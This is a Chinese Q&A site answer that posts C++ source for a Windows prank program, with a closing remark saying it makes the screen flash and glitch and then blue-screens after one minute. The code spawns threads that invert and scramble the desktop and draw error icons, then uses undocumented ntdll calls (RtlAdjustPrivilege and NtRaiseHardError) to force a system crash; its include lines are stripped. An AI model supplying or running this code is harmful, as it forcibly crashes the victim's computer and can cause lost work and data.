满意答案
agrument
推荐于 2018.05.15
采纳率:41% 等级:9
已帮助:1813人
先上代码#include
#include
using namespace std;
int call;
int ScreenWidth = GetSystemMetrics(SM_CXSCREEN);
int ScreenHeight = GetSystemMetrics(SM_CYSCREEN);
int IconWidth = GetSystemMetrics(SM_CXICON);
int IconHeight = GetSystemMetrics(SM_CYICON);
HDC hdc=GetWindowDC(GetDesktopWindow());
#define KEY_DOWN(VK_NONAME) ((GetAsyncKeyState(VK_NONAME) & 0x8000) ? 1:0)
int random(int upper_bound) {
if(upper_bound==0) {
return 0;
}
srand((unsigned)(time(NULL) * clock() * rand()*call + time(NULL) + rand()+call));
call++;
return rand() % upper_bound;
}
DWORD WINAPI FlashDesktop(LPVOID Param) {
while(true) {
BitBlt(hdc, 0, 0, ScreenWidth, ScreenHeight, hdc, 0, 0, NOTSRCCOPY);
Sleep(random(100));
}
return 0;
}
int GetWay() {
int r=random(3);
switch(r) {
case 0:
return SRCAND;
case 1:
return SRCINVERT;
case 2:
return SRCPAINT;
}
}
DWORD WINAPI ScreenXorOperation1(LPVOID Param) {
while(true) {
int RandWidth = random(ScreenWidth);
int RandHeight = random(ScreenHeight);
int RandxPixel = random(ScreenWidth - RandWidth);
int RandyPixel = random(ScreenHeight - RandHeight);
int RandDestxPixel = random(ScreenWidth - RandWidth);
int RandDestyPixel = random(ScreenHeight - RandHeight);
BitBlt(hdc, RandxPixel, RandyPixel, RandWidth, RandHeight, hdc, RandDestxPixel, RandDestyPixel, SRCINVERT);
Sleep(random(100));
}
return 0;
}
DWORD WINAPI ScreenXorOperation2(LPVOID Param) {
while(true) {
int RandWidth = random(ScreenWidth);
int RandHeight = random(ScreenHeight);
int RandxPixel = random(ScreenWidth - RandWidth) + RandWidth;
int RandyPixel = random(ScreenHeight - RandHeight) + RandHeight;
int RandDestxPixel = random(ScreenWidth - RandWidth) + RandWidth;
int RandDestyPixel = random(ScreenHeight - RandHeight) + RandHeight;
BitBlt(hdc, RandxPixel, RandyPixel, RandWidth, RandHeight, hdc, RandDestxPixel, RandDestyPixel, SRCINVERT);
Sleep(random(100));
}
return 0;
}
DWORD WINAPI CallBsod1MinLater(LPVOID Param) {
Sleep(60000);
HMODULE ntdll = LoadLibrary("ntdll.dll");
FARPROC RtlAdjustPrivilege=GetProcAddress(ntdll,"RtlAdjustPrivilege");
FARPROC NtRaiseHardError=GetProcAddress(ntdll,"NtRaiseHardError");
unsigned char temp0;
long unsigned int temp1;
((void(*)(DWORD, DWORD, BOOLEAN, LPBYTE))RtlAdjustPrivilege)(0x13, true, false, &temp0);
((void(*)(DWORD, DWORD, DWORD, DWORD, DWORD, LPDWORD))NtRaiseHardError)(0xc000021a, 0, 0, 0, 6, &temp1);
return 0;
}
DWORD WINAPI DrawErrors(LPVOID Param) {
while(true) {
int RandxPixel = random(ScreenWidth - IconWidth / 2);
int RandyPixel = random(ScreenHeight - IconHeight / 2);
DrawIcon(hdc, RandxPixel, RandyPixel, LoadIcon(NULL, IDI_ERROR));
Sleep(random(50));
}
return 0;
}
int main(void) {
CreateThread(NULL, 4096, &FlashDesktop, NULL, NULL, NULL);
CreateThread(NULL, 4096, &ScreenXorOperation1, NULL, NULL, NULL);
CreateThread(NULL, 4096, &ScreenXorOperation2, NULL, NULL, NULL);
CreateThread(NULL, 4096, &CallBsod1MinLater, NULL, NULL, NULL);
CreateThread(NULL, 4096, &DrawErrors, NULL, NULL, NULL);
while(true);
}
运行这段代码首先会花屏并闪屏,一分钟后蓝屏。
效果图:
226分享举报